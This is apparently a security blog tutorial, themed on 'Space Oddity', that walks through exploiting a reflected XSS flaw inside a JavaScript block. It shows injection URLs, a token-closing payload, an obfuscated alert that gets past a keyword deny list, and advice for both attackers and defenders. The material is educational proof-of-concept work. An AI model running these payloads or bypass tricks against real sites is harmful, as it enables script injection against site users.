Should you find yourself sitting in a tin can, far above the world, it’s reasonable to feel like there’s nothing you can do. Stare out the window and remark that planet earth is blue.

Bowie Is Ticket

Should you find yourself writing a web app, with security out of this world, then it’s reasonable to feel like there’s something you forgot to do.

Here’s a web app that seems secure against HTML injection. Yet with a little creativity it’s exploitable – just tell the browser what it wants to know. Like our distant Major Tom – the papers want to know whose shirts you wear.

Every countdown to an HTML injection exploit begins with a probe. Here’s a simple one:

https://web.site/s/ref=page?node="autofocus/onfocus=alert(9);//&search-alias=something

The site responds with a classic reflection inside an <input> field. However, it foils the attack by HTML encoding the quotation mark. After several attempts, we have to admit there’s no way to escape the quoted string:

<input type="hidden" name="url"
value="https://web.site/s/ref=page?node=&quot;autofocus/onfocus=alert(9);//&amp;search-alias=something">

Time to move on, but only from that particular payload. Diligence and attention to detail pays off. They’re a common them around here.

Prior to mutating URL parameters, the original link looked like this:

https://web.site/s/ref=page?node=412603031&search-alias=something

One behavior that stood out for this page was the reflection of several URL parameters within a JavaScript block. In the original page, the JavaScript was minified and condensed to a single line. We’ll show the affected <script> block with whitespace added in order to more easily understand its semantics. Notice the appearance of the value 412603031 from the node parameter:

(function(w,d,e,o){
  var i='DAaba0';
  if(w.uDA=w.ues&&w.uet&&w.uex){ues('wb',i,1);uet('bb',i)}
  siteJQ.available('search-js-general', function(){
    SPUtils.afterEvent('spATFEvent', function(){
      o=w.DA;
      if(!o){
        o=w.DA=[];e=d.createElement('script');
        e.src='https://web.site/a.js';
        d.getElementsByTagName('head')[0].appendChild(e)
      }
      o.push({c:904,a:'site=redacted;pt=Search;pid=412603031',w:728,h:90,d:768,f:1,g:''})
    })
  })
})(window,document)

Basically, it’s an anonymous function that takes four parameters, two of which are evidently the window and document objects since those show up in the calling arguments. If you’re having trouble conceptualizing the previous JavaScript, consider this reduced version:

(function(w,d,e,o){
  var i='DAaba0';
  o=w.DA;
  if(!o){
    o=w.DA=[]
  }
  o.push({c:904,a:'site=redacted;pid=XSS'})
})(window,document)

We need to refine the payload for the XSS characters in order to execute arbitrary JavaScript.

First we add sufficient syntax to terminate the preceding tokens like function declaration and methods. This is as straightforward as counting parentheses and such. For example, the following gets us to a point where the JavaScript engine parses correctly up to the point of the XSS payload.

(function(w,d,e,o){
  var i='DAaba0';
  o=w.DA;
  if(!o){
    o=w.DA=[]
  }
  o.push({c:904,a:'site=redacted;pid='})
});XSS'}) })(window,document)

Notice in the previous example that we’ve closed the anonymous function, but there’s no need to execute it. This is the difference between (function(){})() and (function(){}) – we omitted the final () since we’re trying to avoid parsing or execution errors preceding our payload.

Next, we find a payload that’s appropriate for the injection context. The reflection point is already within a JavaScript execution block. Thus, there’s no need to use a payload with <script> tags, nor do we need to rely on an intrinsic event like onfocus().

The simplest payload in this case would be alert(9). However, it appears the site might be rejecting any payload with the word “alert” in it. No problem, we’ll turn to a trivial obfuscation method:

window['a'+'lert'](9)

Since we’re trying to cram several concepts into this tutorial, we’ll wrap the payload inside its own anonymous function. Incidentally, this kind of syntax has the potential to horribly confuse regular expressions with which a developer intended to match balanced parentheses.

(function(){window['a'+'lert'](9)})()

Recall that in the original site all of the JavaScript was condensed to a single line. This makes it easy for us to clean up the remaining tokens to ensure the browser doesn’t complain about any subsequent parsing errors. Otherwise, the contents of the JavaScript block may not be executed. Therefore, we’ll try throwing in an opening comment delimiter, like this:

(function(){window['a'+'lert'](9)})()/\*

Oops. The payload fails. In fact, this was where one review of the vuln stopped. The payload never got so complicated as using the obfuscated alert, but it did include the trailing comment delimiter. Since the browser never executed any pop-ups, everyone gave up and called this a false positive. Oops.

Hackers can be as fallible as the developers that give us these nice vulns to chew on.

Take a look at the browser’s ever-informative error console. It tells us exactly what went wrong:

SyntaxError: Multiline comment was not closed properly

Everything following the payload falls on a single line. So, we really should have just used the single line comment delimiter:

(function(){window['a'+'lert'](9)})()//

And we’re done!

(For extra points, try figuring out what the syntax might need to be if the JavaScript spanned multiple lines. Hint: This all started with an anonymous function.)

Here’s the whole payload inside the URL. Make sure to encode the plus operator as %2b – otherwise it’ll be misinterpreted as a space.

https://web.site/s/ref=page?node='})});(function(){window['a'%2b'lert'](9)})()//&search-alias=something

And here’s the result within the <script> block.

(function(w,d,e,o){
  ...
  o.push({c:904,a:'site=redacted;pid='})
});(function(){window['a'+'lert'](9)})()//'})})(window,document)

There are a few points to review in this example, starting with hints for discovering and exploiting HTML injection:

  • Inspect the entire page for areas where a URL parameter name or value is reflected. Don’t stop at the first instance.
  • Use a payload appropriate for the reflection context. In this case, we could use JavaScript because the reflection appeared within a <script> element.
  • Write clean payloads. Terminate preceding tokens, comment out (or correctly open) subsequent tokens. Pay attention to messages reported in the browser’s error console.
  • Don’t be foiled by sites that put alert or other strings on a deny list. Effective attacks don’t even need to use an alert() function. Know simple obfuscation techniques to bypass deny lists. (Obfuscation really just means an awareness of JavaScript’s objects, methods, and semantics plus creativity.)
  • Use the JavaScript that’s already present. Most sites already have a library like jQuery loaded. Take advantage of $() to create new and exciting elements within the page.

And here are a few hints for preventing this kind of flaw:

  • Use an encoding mechanism appropriate to the context where data from the client will be displayed. The site correctly used HTML encoding for " characters within the value attribute of an <input> tag, but forgot about dealing with the same value when it was inserted into a JavaScript context.
  • Use string concatenation at your peril. Create helper functions that are harder to misuse.
  • When you find one instance of a programming mistake, search the entire code base for other instances – it’s quicker than waiting for another exploit to appear.
  • Accept that a deny list with alert won’t provide any benefit. Have an idea of how diverse HTML injection payloads can be.

There’s nothing really odd about JavaScript syntax. It’s a flexible language with several ways of concatenating strings, casting types, and executing methods. We know developers can build sophisticated libraries with JavaScript. We know hackers can build sophisticated exploits with it.

We know Major Tom’s a junkie, strung out in Heaven’s high, hitting an all-time low. Have fun finding and fixing HTML injection vulns – I’m happy to do so. Hope you’re happy, too.